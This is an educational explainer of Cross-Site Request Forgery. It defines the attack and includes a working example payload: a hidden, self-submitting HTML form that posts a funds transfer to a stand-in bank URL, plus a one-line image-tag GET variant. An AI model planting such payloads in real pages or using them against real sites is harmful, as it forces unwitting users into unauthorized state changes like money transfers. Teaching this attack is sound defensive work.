Cross-Site Request Forgery (CSRF)

What is Cross-Site Request Forgery (CSRF)?

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

Example of a Cross-Site Request Forgery attack

In order for perform a Cross-Site Request Forgery attack, the victim must be authenticated with the target website. The attacker includes a script in a third-party website that the victim visits. When the victim visits that website, the script will be executed without the victim noticing. For example, in a car forum, an attacker posts a message which contains a script which performs transfers in the victim's bank (target website).

        <div style="display:none;">
        <iframe id="frame" name="frame"></iframe>

        <form target="frame" id="formid" action="http://www.mybank.com/transfer" method="post">
          <input type="hidden"
              name="toAccount"
              value="55555555555555555555"/>
          <input type="hidden"
              name="amount"
              value="666"/>
           <input type="hidden"
              name="fee"
              value="5.0"/>
          <input type="hidden"
              name="description"
              value="EVIL ACCOUNT"/>
          <input type="submit"
              value="View"/>
        </form>

        <script>
        document.getElementById("formid").submit();
        </script>
        </div>
        

Even if HTTP POST is disabled, the same attack could be performed with HTTP GET request.

<img src="http://www.mybank.com/transfer?toAccount=55555555555555555555&amount=1000000&fee=5&description=EVIL">